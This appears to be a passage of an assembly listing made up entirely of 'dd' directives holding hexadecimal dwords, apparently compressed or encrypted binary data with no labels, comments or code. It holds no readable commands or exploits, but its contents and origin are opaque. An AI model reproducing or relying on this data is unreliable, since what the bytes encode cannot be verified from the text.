dd 0C884B900h, 17E902h, 0A2DD47E8h, 7E82F0BCh, 0B143A300h
dd 0F37D08E2h, 0FA3D0364h, 1EF2FF4Fh, 387FEDF8h, 81430400h
dd 0BFB31853h, 0BA0250A7h, 1EE2003Ch, 93843042h, 0D05C20F4h
dd 40DE0052h, 2C34E4A1h, 0BD8500F8h, 5938C843h, 7A000BFCh
dd 0C9535F84h, 2E8822h, 0B8C10104h, 4E603F10h, 3437BF1Fh
dd 0C7E50A03h, 6575C8FCh, 537D00FFh, 28521BC1h, 90011D45h
dd 74F685A5h, 55200F5Fh, 8B391ED1h, 0E5803AEEh, 0FDC44BAFh
dd 0F202A6FBh, 3E642C25h, 0E018425Ch, 68548Ch, 96F809A4h
dd 75FF9240h, 18492201h, 8E9BF12Fh, 4320C121h, 0C6B055h
dd 0F4C5E987h, 422B610Ah, 0E8408200h, 9A57A34Dh, 517D0332h
dd 0D444C960h, 0F77E88B0h, 3F509600h, 225BA38h, 0A786007Bh
dd 6C8331C1h, 0F000CD71h, 3624EB62h, 53FE04h, 0F7E88AFBh
dd 4B1E433Ah, 0A078756Fh, 8CE2FF03h, 11D507FBh, 0E0DE9421h
dd 7EF0E599h, 84233200h, 31D016A9h, 96544C9Eh, 4A210075h
dd 20622464h, 97EA433Ch, 18850400h, 0B2557329h, 486A02F3h
dd 2BF0F449h, 35C5CBE0h, 90A93700h, 93075DD3h, 2AE10010h
dd 5FEB5530h, 0BD008018h, 2FD73B3Eh, 0E30D72h, 730E1F3Dh
dd 2ACAC106h, 81FEBECh, 87C3F83Ah, 0E8E6E375h, 5E9F8Eh
dd 0DC102DC0h, 0F61CE881h, 16442200h, 0BC88EFC3h, 7B92004Fh
dd 84FE2D2Ah, 0E60F5053h, 0C04BAC4Dh, 29A1E0E8h, 89853F42h
dd 9CF58C81h, 0ECA83EF4h, 0DDEADAC7h, 1CBC530Eh, 0EE4B609Bh
dd 0EE4692Ch, 5427D2A5h, 89051360h, 12006BA4h, 3C9FFB5Bh
dd 1107053h, 88E22A11h, 0D9182134h, 4C0DD851h, 87493800h
dd 50A28C91h, 907515h
dd 8041FAD2h, 406AF633h, 30FFE21Dh, 902D7580h, 0F66070Bh
dd 5A4D3881h, 78832400h, 7400E03Ch, 82801E4Bh, 768F303h
dd 5615FC99h, 8108A023h, 4500503Eh, 27414C6h, 38F6B572h
dd 3CF069FCh, 24006AF0h, 0EB4EBB28h, 0FE744A5Dh, 1A83121Ch
dd 5F1F0240h, 90136574h, 72D9008Dh, 841464DBh, 0EB730C62h
dd 7839F602h, 6031B849h, 5021F8FCh, 79E7C53Fh, 34BA3E46h
dd 91005FD8h, 525AB774h, 0D5002367h, 8E037F86h, 5C16EB3Ch
dd 0DA00CB77h, 0C8D0D73h, 0D103DD33h, 7B84CF21h, 9C963B04h
dd 0E490E58Bh, 0C4C5700h, 0BE006C5Bh, 4EC426A3h, 265EA10h
dd 0D08FABBCh, 0AA406982h, 900F4916h, 770A120h, 6B77880Ah
dd 0C689AC90h, 31FC020Eh, 0CACF49C9h, 0B2C09740h, 0C87030FCh
dd 19E98800h, 0B6F28AF1h, 66182708h, 784BA077h, 89351209h
dd 440E0C34h, 0DA1C4275h, 9B803E80h, 0D2F75BD3h, 25D100E4h
dd 57AD089h, 0B928C8ECh, 4B00C4B7h, 72D54442h, 6B0EBh
dd 2ECBE1F3h, 16867799h, 0B4C30330h, 5F547Dh, 50B9B3A7h
dd 33135CEAh, 0AF530100h, 58AE9E35h, 28680FA0h, 5C60B55Fh
dd 50895294h, 59B18500h, 8A0BD123h, 0D8800002h, 0A126758h
dd 42F05F2Eh, 0F0754905h, 0B7ECA1B0h, 92BDC00h, 0F35D5AF9h
dd 79A55401h, 0E5957458h, 29FD7280h, 5BC85614h, 0D7FCD200h
dd 9857701Ah, 78402E4Ch, 6040729h, 0F44AF0A3h, 0BF00FE41h
dd 1D17BD82h, 0E6E3E80Bh, 2585002Dh, 0C65A4F78h, 733F61B2h
dd 1B770019h, 0AE933B3Ah, 591A2675h, 0BA8100DDh, 3021C2Fh
dd 86EFD81Dh, 54971100h, 3C3969Bh, 8A0A9BCh, 0D1D848EBh
dd 2A383988h, 16E6F91Bh, 52432D00h, 0E923BCC7h, 20B8F2h
dd 18583BBDh, 2F73820Fh, 4F93B200h, 22C43DAAh, 591004F0h
dd 8394E22Dh, 51B360E9h, 0D5B80CB0h, 0B9013100h, 0D75C2042h
dd 0B871E645h, 13F270B5h, 173EFE08h, 272F0039h, 0BAF7E07Eh
dd 893055FEh, 80093AF4h, 0B72009F1h, 0C58302F9h, 0FFE8B204h
dd 0CD9E567Ch, 6A513800h, 9A9C73h, 95880813h, 977CB85Ah
dd 0C5BBF400h, 1561EA0Ah, 0F1100003h, 4912510Dh, 0A4581D0Eh
dd 802C3F8Ah, 5E077562h, 0F8CA28h, 48EFE842h, 0A0E0FF96h
dd 65E4C800h, 0DFBCBA95h, 7C60000Bh, 44AE545Fh, 0AD7BE093h
dd 6972000h, 1A2643C6h, 4EB0001h, 7893DD0Dh, 540022CCh
dd 2C085011h, 1E6D799Fh, 4057F12Dh, 730989F0h, 4600C630h
dd 0F34E8DD6h, 0DE8CADh, 258B5967h, 0CBEFB91h, 5021C607h
dd 28F0B256h, 0FEADB5DDh, 76D0FB59h, 30D11E20h, 0D5C5876Bh
dd 751C5081h, 1EC339CFh, 80B1D62Bh, 0FD9B7Eh, 10E87349h
dd 1EBB92D4h, 6328100h, 8E004E4h, 0D81F00DCh, 0A8F355D3h
dd 0C4003121h, 0D6BDAEFBh, 9820A9Ah, 5FFE65CBh, 4F1A180h
dd 5802EA81h, 0B3542F78h, 2ADDE0C4h, 0F5C20216h, 5F2664A2h
dd 8A9360E0h, 831E4712h, 18446700h, 2E6689F7h, 30FC27Fh
dd 0A4504824h, 0C9F858E0h, 6205D00h, 75894EF0h, 0F64A05BCh
dd 0C0762CB4h, 0C7B3466Dh, 9D0F5000h, 1F2F2D82h, 5A901E55h
dd 0EA484097h, 0CE223746h, 750058F4h, 196577EEh, 514B011h
dd 3B398285h, 0B0AF8718h, 45807534h, 1AC5EC00h, 0EBE0176h
dd 0CA020061h, 0D9A4AF06h, 0FE730D13h, 0C7958600h, 0AD775304h
dd 5F8B00AEh, 0FB7D80C2h, 0CDEE88F0h, 2F008D7Bh, 0C715C663h
dd 0B86F110Dh, 0E4101201h, 0BCFA0282h, 7E609D2Ah, 0DA0333EAh
dd 7468C075h, 0C03FB331h, 35817A9h, 3E7995CEh, 1CE07567h
dd 0F35EE26Fh, 0DC00F5A8h, 5114F669h, 4800B7DFh, 268DD83Bh
dd 7A011A1h, 0AF07BA12h, 0D4F17174h, 7D85E454h, 5C38591Eh
dd 0CAF23F00h, 1E74032Dh, 8562CCD6h, 0C09118AAh, 645A0A94h
dd 3EC510Bh, 454500B5h, 1E05BAD4h, 5077D2Eh, 0FEAA81C4h
dd 0C0FD2FC2h, 0E3AE87h, 0CAB541Ch, 6238FE95h, 0A032D32Eh
dd 0FF22B400h, 0EE7384h, 0B0109C72h, 4BE7E968h, 8D2B60FBh
dd 91DD9500h, 8C2E63E1h, 931313F0h, 420F003Fh, 0A6B1EB70h
dd 0E7772200h, 0C75F4086h, 2C835C90h, 0C049F21Fh, 6A138C23h
dd 0B500F4EBh, 7385DB51h, 16BA0221h, 0CAB4F2h, 53222A75h
dd 0D800720Dh, 52C38A1Ah, 72865E01h, 0A76900E9h, 80D7B021h
dd 334CCD38h, 401100B1h, 742E120Ah, 94D80066h, 0E0F42201h
dd 1700FFFAh, 0C01D7525h, 0F467FE50h, 837713h, 0B2C9BF02h
dd 0B152535Ah, 8AB32100h, 80C1B75h, 64560797h, 0E0D3220Fh
dd 9E060DC9h, 5CE22B00h, 982D14E5h, 743300E9h, 4F9F6828h
dd 5EF6FB42h, 0AA195507h, 3FAF18CBh, 463264C1h, 29EC4B35h
dd 0F17B00ECh, 8BA1A490h, 82039F1Ah, 2717677Dh, 7F319177h
dd 2E7142F8h, 0A07BEh, 66A01D8Bh, 79003064h, 0F6035FF8h
dd 7AA1C6B8h, 5C97009Ch, 0D82E53A3h, 4D0B5BD0h, 0A94210h
dd 4A445A6Ch, 9BBA1DCDh, 0CBA600C3h, 0FAE6C47Fh, 2FFB9E03h
dd 0E01A57FCh, 293865h, 0D8DB3BA7h, 345D36E3h, 6C12A5EEh
dd 0BBF49Bh, 6A0FE00Eh, 0EBEC9D01h, 1A0A9900h, 0ABC48688h
dd 6753A29h, 0A1BD9000h, 0CAA73D68h, 0A8155D01h, 0B2BBFB92h
dd 0EAD7C0h, 994AD02Dh, 0A436A010h, 763E8800h, 7D540AFDh
dd 385F00BAh, 0B805D5E7h, 0EFA058CCh, 1CE2158Ch, 2CDF8900h
dd 0B50ED494h, 0B0930383h, 0F0B86D5Ah, 2B89EFB0h, 59F46A00h
dd 0E20E53F8h, 0EC480022h, 63C5035h, 0CE0FA63Dh, 0A0A11328h
dd 0A03EBC96h, 0FCA4001Ch, 60C40647h, 0F24C3468h, 7890326h
dd 0C0BBFD85h, 0BC5C58h, 0C275F803h, 0D35BC068h, 0DF29BF00h
dd 669CDC88h, 7CCF842h, 6C4617B6h, 0A034B021h, 64394C9Eh
dd 0EC62003Ch, 0D5F8101Fh, 27973A4Eh, 0F0F47AFFh, 48EE0Dh
dd 0EF38DB79h, 0E552EE19h, 8F02333Dh, 0E1644414h, 4CE36837h
dd 13AEDCCh, 54203D61h, 0F8430C7Fh, 8FA34B1h, 0C422B900h
dd 0B32BAB2Dh, 0BB580012h, 0D6154E25h, 1D7F943Bh, 49792AC0h
dd 72656B3Ah, 5E3C2466h, 36B401F3h, 302CD94Eh, 19074246h
dd 82EB9A90h, 2A230360h, 584507B6h, 0B301B7AAh, 1EE83724h
dd 62126A99h, 0B90136A7h, 4B03A045h, 4E52D0h, 7CF04C9Ah
dd 9ED4475h, 0A954F513h, 419ED900h, 1CCA56DCh, 0C01C4950h
dd 745F6547h, 0FCF161EDh, 7A037B64h, 20C37371h, 0BF69D852h
dd 78450091h, 66DDF663h, 4CFCA0D3h, 73007CFCh, 4518F99Dh
dd 0F0106D53h, 31880024h, 0C9028B62h, 3B00082Dh, 0DDD6F8E1h
dd 0AD8D79h, 28FCD489h, 9C3A7D72h, 572EEA00h, 86CA3E62h
dd 0C9113EF4h, 0EFE20683h, 26B05C78h, 5812753Dh, 9E008415h
dd 0C74A8B28h, 11E21E3Ah, 0E8C000A5h, 0C4EAEF27h, 0D22E4F00h
dd 2071740Ah, 7D7E02h, 0F9EEE7E0h, 453DB664h, 0C42A0800h
dd 0CBC70D14h, 439E00D6h, 3F816605h, 0FD0025FFh, 26E83DD2h
dd 1C6CEFh, 1E389507h, 0AA2769C4h, 0A6D6241Dh, 0E0E85A8Fh
dd 0EE3AE1B5h, 91670053h, 0C64E3E10h, 3F034F55h, 4B7AD2B1h
dd 0D875CBC9h, 0C3FA50h, 6F0032Ah, 26F3F85Bh, 80CE103Bh
dd 52E22C92h, 0A46DA7h, 0B3446BEFh, 0C308BB43h, 0CA535026h
dd 0F53B1700h, 0E68B828h, 0D2395411h, 89782B40h, 6A000AC8h
dd 0A7B052B2h, 7CA10974h, 0EAD1F4CEh, 713800EBh, 0BD5EBFAAh
dd 9007D0Eh, 5478D68h, 0FE63ECE2h, 0D52C0378h, 0A06171Dh
dd 0C20146F0h, 6900E8ECh, 1505ED39h, 0FE388934h, 65C31FBDh
dd 6581E542h, 0E0A00E6Eh
dd 2B00DE8Bh, 81E41C5Dh, 714FBh, 646885BDh, 162F8629h
dd 8AEAAC00h, 0E455121Ch, 4A4800F7h, 278358E0h, 2B3B04EBh
dd 5F9E9F68h, 7D19F3C0h, 0F05497h, 0B4517F52h, 38783644h
dd 324638h, 33D08B56h, 0FEBF6h, 80068A7Dh, 5742FF9h, 5C5F0A00h
dd 42F29007h, 0F3A00D7h, 0ABD0EC09h, 0A6000354h, 0FCC34A5Eh
dd 7C75F7F0h, 17E51753h, 42470030h, 0B8A0D73Ah, 0DF822900h
dd 0FCE488D1h, 7E3700BEh, 95EB1C7Bh, 177892F7h, 0DA19A10Fh
dd 3CA900EDh, 0FD3E8Bh, 9A708845h, 0C94F943Ah, 1241520Eh
dd 0F4538024h, 284ADCh, 6389E2C1h, 3C7B8E5Dh, 3B7CE800h
dd 5C033A78h, 1D1C003Fh, 40F61304h, 5F0B148Fh, 34A5A5Bh
dd 0F16886E4h, 6520C13Bh, 0F0A61C8Ch, 209FBD8Eh, 0D9B5001Ch
dd 301BAD96h, 0BE95D500h, 4A4D8EBFh, 687F3F73h, 0C49D5100h
dd 45EB3E70h, 34A97D0Eh, 35C07EE4h, 2147D3BDh, 506F00E0h
dd 2F58107Ah, 93F8B702h, 0FEE96E05h, 0CB010FFFh, 0C231A26Ah
dd 0C0428820h, 2E06BA34h, 0EEFF23A3h, 0E59BC05Fh, 0F8DC00BBh
dd 0BF94B054h, 5B0263D0h, 78DFE964h, 322861ACh, 1331803Bh
dd 0EFFC6C75h, 625C2300h, 0FDFB447Ah, 0BEE70361h, 0BB4EDF1Eh
dd 792C63F8h, 0F86D5E1Dh, 202ED980h, 0F72A6Bh, 4C7D62AEh
dd 7986E34Fh, 6DDCE03h, 0D8ACF63Ch, 641A53h, 0B38D702Eh
dd 14B67582h, 52509F07h, 0FBC15DCFh, 0B9EC4E78h, 0F88400F0h
dd 6BB453FEh, 74039714h, 0FABD0DA7h, 48C2F81Fh, 0E8830002h
dd 30B83AA2h, 202C264Bh, 0B501D512h, 762C4306h, 0F00A89D0h
dd 0EF6D099Bh, 0D88029FEh, 66C78B3Fh, 547E9AFCh, 0A9165Ch
dd 55FC4492h, 51930Fh, 0CF10B22h, 16F8678Bh, 0CFBE7503h
dd 0B0381ACEh, 0C0103Ah, 0FE124B1Ch, 74C9DD6h, 7D00ADB0h
dd 0CB51ACFCh, 972F10h, 4F022944h, 7E12A90Ch, 8F0B870Fh
dd 31F9802Dh, 1CE3543h, 9422274h, 0D9192436h, 0E910D137h
dd 1C85E83Ah, 83B8B73Eh, 8CEC7DC2h, 33C0EFA5h, 0EF57519h
dd 4D88982Bh, 8669680h, 553D4126h, 0EB3B9C4Bh, 39F98443h
dd 8AEA0715h, 70F8AB27h, 4B8296ACh, 4A337C00h, 0F2F5EB8h
dd 51760084h, 38F1DFABh, 413FAF98h, 2CB9C7h, 951DAC9Ch
dd 0E106097h, 5EFF483Bh, 8D1C3040h, 0DF7A0853h, 0C1E1500h
dd 0ABF656Eh, 4A4B00EBh, 42203911h, 0E526695Bh, 0C80001C9h
dd 0F32D91Bh, 79E005Ch, 830E731Eh, 8D3E0401h, 0B490F485h
dd 8074F83Fh, 0DC8265BEh, 0EDB71069h, 774BC0h, 155C81Eh
dd 0CBD52EC9h, 0A2F91600h, 64146E09h, 7507846h, 70965534h
dd 0C6B75160h, 3ED7F092h, 0FCFC73Fh, 61E9E0E5h, 6C79FE9Fh
dd 1FC5E2C4h, 0C0146A43h, 0E958C08Fh, 1CB82EF1h, 5C087D00h
dd 3F840ADh, 0B93500B4h, 0EF8B0689h, 0A5EE795Dh, 4B437000h
dd 460307C0h, 0C3E0048h, 0F02B0A33h, 0E800244Ch, 592556AFh
dd 12EB007h, 0C8471F8Ah, 0E44E4034h, 49004423h, 16051F2h
dd 71EBB1h, 37195E3Ah, 2A41775h, 50A08900h, 2ACAD555h
dd 7F230F40h, 0CF40D82Bh, 38C852EBh, 907C3903h, 0BF366425h
dd 1A296A80h, 185FE17h, 72F107A6h, 0D08E924Dh, 0EB007534h
dd 0D04AD58Bh, 20BA61h, 0E36E9E65h, 408D85E1h, 80CFAA00h
dd 423F3908h, 3A980F59h, 0FCBDE03Ch, 1B1FA2BCh, 0C8D6ADB2h
dd 8A904E07h, 0C03EE6F0h, 82060050h, 12AEF392h, 0BFFE0156h
dd 30FB6C00h, 2F144184h, 4C453E06h, 0FA950072h, 0C3F43CE9h
dd 3A00EEDBh, 100821FCh, 75188A74h, 931C0205h, 9BE842BBh
dd 40F59061h, 59C474DFh, 13305F1Fh, 0F8E895DEh, 0D9008275h
dd 202ABF22h, 7AED0Eh, 59D474BDh, 1C9AAAD7h, 5424D207h
dd 0F5407F82h, 7995ECB4h, 0FC21771h, 20860F76h, 9FAB7200h
dd 0DC5EE051h, 0EEF1B5F1h, 857C0A80h, 4190B138h, 89B62B00h
dd 276EAED2h, 8178B7h, 1DC2881Ah, 0F222287Dh, 0A84ACE00h
dd 0FDBD11B9h, 0B80B004Bh, 0A443465Ch, 10009AABh, 0BC998EECh
dd 0C7555Ah, 8870540Eh, 3C9EDF8Fh, 0FF72E300h, 5DADC815h
dd 0F9340031h, 7F1CE17Eh, 7300E90Eh, 0ECED33A5h, 0FC0C8BA9h
dd 5C490036h, 12401D4Dh, 0E00BCC7h, 590546A1h, 3D8F6F11h
dd 7222DCh, 0AF202414h, 0E8DBF93Bh, 468CF50Ah, 0DF05FE52h
dd 51C71021h, 74288D30h, 6C030337h, 0E365FDCEh, 22261993h
dd 52005D08h, 1666C4FFh, 42770004h, 0FD2AFBF8h, 111F32E3h
dd 24400846h, 0BF2B4822h, 708B0044h, 2CEB256Dh, 4E00A471h
dd 832019DFh, 79935145h, 0C0394B13h, 9216B691h, 60230400h
dd 0CF542846h, 6AC50059h, 57AD8083h, 9700E0B6h, 5FEB2CF9h
dd 117865h, 0BFE65AF1h, 0BB245818h, 7C8270BFh, 827C1CE8h
dd 2FC640A1h, 0B503A39Ch, 0D7094673h, 8115A925h, 132C010Bh
dd 204C8h, 33740B72h, 73B6C0FFh, 4F80E900h, 0CC35C937h
dd 0EC680050h, 0C70328C2h, 0D0097DCh, 66B71348h, 42F75Dh
dd 3785E9B1h, 0ED20CD6Ah, 0B551800h, 7A044908h, 5F2400D5h
dd 39076010h, 50008402h, 56404D11h, 1E0A4218h, 8069EB68h
dd 1032C765h, 481DF259h, 3FC10C50h, 9D423541h, 54B5F0h
dd 57C1564h, 51E4B816h, 0FC30D205h, 90B0897Fh, 0ABE80041h
dd 59FFDE38h, 51E2109Fh, 60F06D00h, 36F79720h, 40487A40h
dd 26513C92h, 0DC883081h, 84C95600h, 0CEAA34D6h, 7FBF60Eh
dd 1FF200Fh, 558DB13Dh, 80A54724h, 13FA8347h, 0BF089916h
dd 438CA500h, 110C648h, 0AD4A3063h, 0E8A8C40Eh, 0B2002A69h
dd 66771203h, 1DE740AAh, 7D957489h, 4FF00D80h, 2032C175h
dd 6C013Eh, 29BCC951h, 78910868h, 3C960014h, 850D2833h
dd 253E3DEDh, 0B92200DBh, 3A15D973h, 0DAFC20h, 5F13F516h
dd 0A5AF27CCh, 0FF307500h, 5D5AFC61h, 0D0FD073Fh, 0B01A37B2h
dd 0F1AFECB7h, 0BD55B00Eh, 0C5D9A02Fh, 4F94708h, 296145E4h
dd 808B8549h, 9B4482D3h, 0C489AE01h, 0F324DA12h, 84AE0E7h
dd 38913922h, 7FA551BCh, 0F812D783h, 0FD4B31E0h, 88C59701h
dd 217E3B6Ch, 6580898h, 0E0001486h, 0A9298E0Bh, 3F407DDCh
dd 82804AEFh, 1F06BA9Ah, 0C53ADA2Fh, 0D0CE05A5h, 58EC69F8h
dd 1DC7781Dh, 0C1E54043h, 7E8E0C08h, 94C5DE00h, 0BBB32927h
dd 5CB10F66h, 4A606FBFh, 95FD7A2Eh, 7ECE42ECh, 7CEB8717h
dd 0E4C2B5A0h, 43480047h, 580E11DDh, 8005104Dh, 8DFCA54Bh
dd 0A2B380FBh, 9000A45Ch, 0EE0BB33Ah, 2BEAA0h, 4B8A2FF4h
dd 74CBA8D9h, 575A0F00h, 0E8F64E0Eh, 7FED0024h, 5DC62CBCh
dd 0CF7D6D08h, 3DE2183Fh, 271F7EDBh, 444E8EFAh, 3B974014h
dd 1A1822h, 507E10B2h, 933E91ACh, 0FC147B00h, 0E0CF203h
dd 18320070h, 1BC96806h, 243EE58Dh, 45F80A7h, 27BE3816h
dd 42A900F5h, 104759FBh, 0D20E4EC6h, 20761A3Ch, 85EA1465h
dd 0ADD63BABh, 0F3CE4F04h, 36608156h, 7303E006h, 5706C00h
dd 7868CB77h, 0F5740F4Ch, 27A0B3EEh, 56247614h, 40E59D03h
dd 0B04ED74Bh, 734CC811h, 53C30042h, 49D82A21h, 770740DEh
dd 3EBC5193h, 740130E0h, 7B830063h, 5DB3C36Ch, 14000C20h
dd 81185740h, 1F1C0251h, 40084B04h, 0FA8B4507h, 14046B22h
dd 80E0F992h, 763F8680h, 0EEA002Bh, 497444F6h, 0C90AFCC7h
dd 9166D8A8h, 1CC1949Eh, 55DF10E2h, 77706871h, 60EA4Dh
dd 0D57756A2h, 0A328E853h, 0EA43D00h, 0B0744301h, 0E3BF0092h
dd 90AD9344h
dd 840080F3h, 1B6E7821h, 72997E4h, 0D69C0979h, 421C8028h
dd 27038C3h, 9678732Eh, 6B1EDD00h, 201018h, 0EB7C74A7h
dd 0BE433D23h, 577622E8h, 84932700h, 0C697515Bh, 4C7200EFh
dd 0D2077844h, 0F800B303h, 384E31C4h, 0E9088D9Ch, 0EE4B54D8h
dd 0CA201FF3h, 0A0594169h, 4070211Ah, 326A9B05h, 6CA2E407h
dd 0ACB0A943h, 84258Ah, 5419A457h, 4D68809h, 0BA442039h
dd 7826DC5Ah, 85CCC00h, 97948C9Ch, 80960041h, 14819844h
dd 38000988h, 1C08119Ah, 467FE8h, 109BB802h, 29A27436h
dd 8F32093Eh, 0C7A6219Ah, 0F830C458h, 0E9006C3h, 0C605111h
dd 87B009A0h, 460410Eh, 7171860h, 0A13600E8h, 8C1B0C02h
dd 1A00DC10h, 21CCB408h, 0EAD40984h, 3A47519h, 201F4050h
dd 0D8F38088h, 23D0F0DFh, 1100A081h, 4022E34h, 0E82F7C22h
dd 5446004Ch, 9C49932h, 800516Ch, 22A4913Ch, 5C2074h, 942C4457h
dd 0F8116489h, 0BC026600h, 6239DC26h, 100900ACh, 52E00353h
dd 5A0E7933h, 0AF495931h, 90C0204h, 0F460C124h, 7B38A320h
dd 0A8086164h, 0D4204137h, 0B10ECCC6h, 66B8CB40h, 0E8C88D2h
dd 980870C8h, 11DC84E0h, 0CC1D1B48h, 873FD9E0h, 1059E744h
dd 21F96050h, 2A18001Ch, 0CC29ECA8h, 11315408h, 2B744824h
dd 0BE2330h, 75D17632h, 14EC6405h, 4AC7ACB8h, 2670023Fh
dd 7A6359ACh, 0A828007Ch, 0A7C43818h, 5B00F008h, 0F411C081h
dd 0A021B15Eh, 3026295h, 4C70253Ch, 0A8D1409Ch, 50437089h
dd 2007657Eh, 58488824h, 51766CF1h, 74A46C80h, 0AC12DC89h
dd 6DFC2212h, 20462C00h, 0C64B972h, 58755171h, 810AA3B8h
dd 0D5891744h, 0B8261D00h, 1E117CC6h, 9E43554Ah, 0DA440B4h
dd 4707E817h, 0E170280Eh, 6AC24225h, 0A787F7D0h, 0DD010ACCh
dd 1C32007Ch, 0EC08B13h, 1558408Dh, 0C6010013h, 31181F84h
dd 821000Ch, 32032480h, 52E048E6h, 746E7500h, 20656D69h
dd 0E27200E4h, 83DAE76Fh, 0EAFC6101h, 863B3000h, 18455140h
dd 80112DBFh, 80191B57h, 0B5413938h, 57805E5Ch, 0DEC0120h
dd 0A00A1D55h, 58C5C14Eh, 319C0C56h, 0F8AE31B8h, 1007D430h
dd 1FC1F927h, 0F3911C23h, 0E20AD81Eh, 1897001Dh, 7CF001ABh
dd 6C00A466h, 105AE433h, 0B70907ECh, 3896DEh, 6C05265Ch
dd 4C185B66h, 7C006F74h, 128C8984h, 9C092494h, 8791A448h
dd 0BCF3B475h, 0FBCCFBC4h, 0FBDCFBD4h, 0FBECFBE4h, 4FCF8F4h
dd 0C5C0140h, 1C121489h, 2C48C424h, 22349107h, 4C17443Ch
dd 0F81754F1h, 6CED64EDh, 0F67C6F70h, 8C120584h, 824A9424h
dd 0BC80E5BDh, 5390408h, 8E641C00h, 6A236547h, 5FA83E89h
dd 48605403h, 0C0F75808h, 6411610Ch, 0E2BCC803h, 0B0316214h
dd 46801Ch, 88E02363h, 38C46494h, 1FEC7200h, 306548E2h
dd 8C5E00F0h, 11660423h, 100D560h, 37842A93h, 0E500D14h
dd 4B4A4847h, 4E4D4C02h, 534705FFh, 585737C0h, 0A056005Ah
dd 454104ECh, 4F1C6A49h, 6301B811h, 68676664h, 6C6B80EBh
dd 0AF6E5A6Dh, 74052F00h, 17A7877h, 61200176h, 606F6965h
dd 9160B998h, 0C4A010DCh, 0A7AC0022h, 0C6E80901h, 740E84AAh
dd 0E0315132h, 71B09840h, 9EB0FFh, 0C8101101h, 30912009h
dd 44312200h, 2F388C34h, 69070041h, 33E8C79Ah, 0B001E90Fh
dd 19F3F0F2h, 4520A490h, 1D2B90B8h, 0C0F822D4h, 3C45581Ch
dd 741724DEh, 30408C48h, 0ECD444BCh, 59040288h, 34121881h
dd 6420FA8Eh, 94227C91h, 0FFA84407h, 0C9001F7Eh, 0C1BD8Dh
dd 9B382F3Fh, 6B707AFEh, 4B3E1D00h, 0AF51C049h, 391A1CB6h
dd 931500F4h, 1B926CB0h, 5B78B424h, 95553B00h, 708436F7h
dd 86B8E4h, 0CE0D4AD2h, 0F501DD09h, 0E3CD5300h, 601DB413h
dd 0F820006Ch, 0A4225027h, 24009B03h, 41659885h, 0F95018Fh
dd 728409E8h, 70589907h, 4070084Ch, 8900737Fh, 0C5FF1C88h
dd 7CA3F003h, 75C80021h, 0A43110BEh, 0A67EE408h, 1933D001h
dd 70EC09E0h, 0BA740D4h, 0F849CCC8h, 90D7A287h, 0AD0A802Ch
dd 4A96C06h, 3E60A5FEh, 248EA838h, 68E35409h, 84B87412h
dd 0B5A89048h, 0C80345B8h, 964C033h, 0EB32EB21h, 4442E83Ch
dd 0B35A0350h, 0D2C08A24h, 3E08B590h, 152981Eh, 3020779h
dd 6020504h, 0A266007h, 0D0C0E0Bh, 10400E0Fh, 7894389Ch
dd 0A403BEBAh, 0C401811h, 0C40B99B4h, 7BD02620h, 310D248Dh
dd 105C030Eh, 0E09B0E34h, 2001C0ACh, 90E61294h, 0A8021376h
dd 1A6C3616h, 9C2D6019h, 1F401C80h, 7022C184h, 0F77811CCh
dd 0A024B1D7h, 0C826E488h, 7A279924h, 20192801h, 6E8954D9h
dd 3B003160h, 10012E34h, 3C033F1Eh, 0E0EC118Fh, 0B0023308h
dd 34483E22h, 2F6892h, 2C36317Dh, 9009937h, 0C1399032h
dd 1EC4023Bh, 0C0B4063Dh, 5C874C3Eh, 400C8CCh, 0B15A448Bh
dd 37714B0h, 639C1864h, 0E9B03038h, 311FDC73h, 700019D4h
dd 785DD9BEh, 0F284E89Eh, 20AE0004h, 79CC6398h, 0C4CA2E4h
dd 4411003Fh, 399C5676h, 995C3A66h, 6C5D798Fh, 0D1F5DDC2h
dd 0A1E05760h, 3652400h, 0C4793310h, 4807519h, 0DC592CB1h
dd 12218022h, 422486E0h, 0D200B088h, 5C809219h, 9300053h
dd 3C247214h, 89161260h, 6003992Ch, 0A8A5D481h, 0E2195C2Eh
dd 442000Ch, 9948515Ah, 0D07411BCh, 0F9C4B93Ah, 26D9A500h
dd 65193440h, 5809007Ch, 0D4889C12h, 0A000941Ch, 604A90EAh
dd 366AC2Ah, 41500998h, 8DC057F7h, 0D9F82808h, 49145900h
dd 9FB4298Ch, 3C313E33h, 2060A987h, 4C7470C9h, 441F6FF4h
dd 54C1D939h, 91282999h, 0F0C2C07Bh, 250CA49Eh, 129CC419h
dd 32BF00E0h, 0A514387Bh, 1B584CACh, 69C6015Ah, 885BC33h
dd 1134F8h, 0D8A4F904h, 1C94A9DCh, 4C619901h, 49883C09h
dd 0C9083F2h, 4BFBE8D9h, 20460079h, 66107A30h, 2C3A51E4h
dd 3FB4C841h, 6875F45Ch, 58037FB0h, 94D31287h, 549A0E60h
dd 5CE090B0h, 0B466B896h, 6C61A973h, 0CC5211ECh, 3106730h
dd 94B059F2h, 70C00C84h, 2390B199h, 995AC00h, 74329CDCh
dd 258C0261h, 20D84C2Ch, 90A4B740h, 0C6FC9600h, 786A59C0h
dd 0D7011E41h, 1B7257Ch, 5BEAC55h, 91934C87h, 70539190h
dd 1800869Eh, 0AC562096h, 0FA5EC814h, 9EF205C0h, 807CD024h
dd 8FEC978Dh, 110088F8h, 0EE1920Ch, 2C0298h, 9A4E203Eh
dd 9CC8B047h, 0DAF13CC0h, 2C08019Bh, 3F961E93h, 1EC41093h
dd 0FA1887ADh, 995AF0B1h, 93E7031h, 24A08088h, 91D448B8h
dd 0F22202E2h, 400CFE44h, 32896A60h, 2425127Fh, 9FA07554h
dd 0A290447Eh, 0C8FEB4FEh, 0F0FEDEFEh, 9520B81Fh, 3BCF74BDh
dd 0C04CCF3Eh, 22749158h, 8196FE86h, 0BFC0FDAEh, 0BFDEBFEAh
dd 2BFC89EEh, 1973870Ah, 0C03611D2h, 302944CAh, 807D1452h
dd 5B89053h, 0C20CAC7Dh, 28E489D4h, 41400F4h, 268C1C97h
dd 27B83411h, 4C00427Eh, 64445822h, 0C020A672h, 0B889A884h
dd 2430CC12h, 9823BFE0h, 111C1819h, 223A522Ch, 5E444A05h
dd 3BC0897Ah, 0FB424A4h, 0D491C448h, 0F0E0E2EFh, 991688FEh
dd 1226810Ch, 5CF53Ah, 82226E91h, 89AA9844h, 0CA54BA7Fh
dd 0FEFEF297h, 9A0C100Ch, 0B329422h, 0AC468A40h, 96C5A80h
dd 107DA686h, 89BAA805h, 0D19013CAh, 259BE0F0h, 7F800E81h
dd 914E483Ah, 6E03607Fh, 898C8044h, 0F8AEFB9Ch, 70154C8h
dd 0BF08E429h
dd 1E11C023h, 0AEA22C32h, 4F64EDA4h, 3E7E2C74h, 0A612009Ah
